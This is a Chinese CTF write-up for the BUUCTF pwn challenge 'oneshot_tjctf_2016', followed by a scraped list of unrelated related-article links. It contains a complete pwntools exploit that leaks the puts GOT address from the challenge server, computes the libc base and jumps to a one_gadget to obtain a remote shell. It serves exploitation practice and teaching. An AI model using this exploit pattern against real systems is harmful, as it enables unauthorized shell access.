[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护

查看ida

这道题的大致思路就是泄露libc地址,然后用onegadget来getshell

但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

完整exp:

复制代码
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./oneshot')
p=remote('node5.buuoj.cn',26499)
puts_got=0x600AD8
printf_got=0x600AE8
p.sendlineafter(b'Read location?',str(puts_got))
p.recvuntil(b'Value: ')
puts_addr=int(p.recv(18),16)
print(puts_addr)
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
onegadget=libcbase+0x45216
p.sendlineafter(b'Jump location?',str(onegadget))
p.interactive()
相关推荐
CodeSheep9 分钟前
Stack Overflow,轰然倒下了!
前端·后端·程序员
i紸定i9 分钟前
解决html-to-image在 ios 上dom里面的图片不显示出来
前端·ios·vue·html·html-to-image
ai.Neo10 分钟前
(第十七期)HTML图像标签详解:从入门到精通
前端·html
阿珊和她的猫11 分钟前
autofit.js: 自动调整HTML元素大小的JavaScript库
开发语言·javascript·html
excel14 分钟前
JS 函数终极指南:this、闭包、递归、尾调用、柯里化,一次性吃透
前端
花小璇学linux15 分钟前
imx6ull-驱动开发篇22——Linux 时间管理和内核定时器
linux·运维·驱动开发
夏天想15 分钟前
html模拟websocket通信
前端
你好,赵志伟2 小时前
Socket 编程 TCP
linux·服务器·tcp/ip
Liang_GaRy3 小时前
心路历程-三个了解敲开linux的大门
linux·运维·服务器
阿珊和她的猫5 小时前
v-scale-scree: 根据屏幕尺寸缩放内容
开发语言·前端·javascript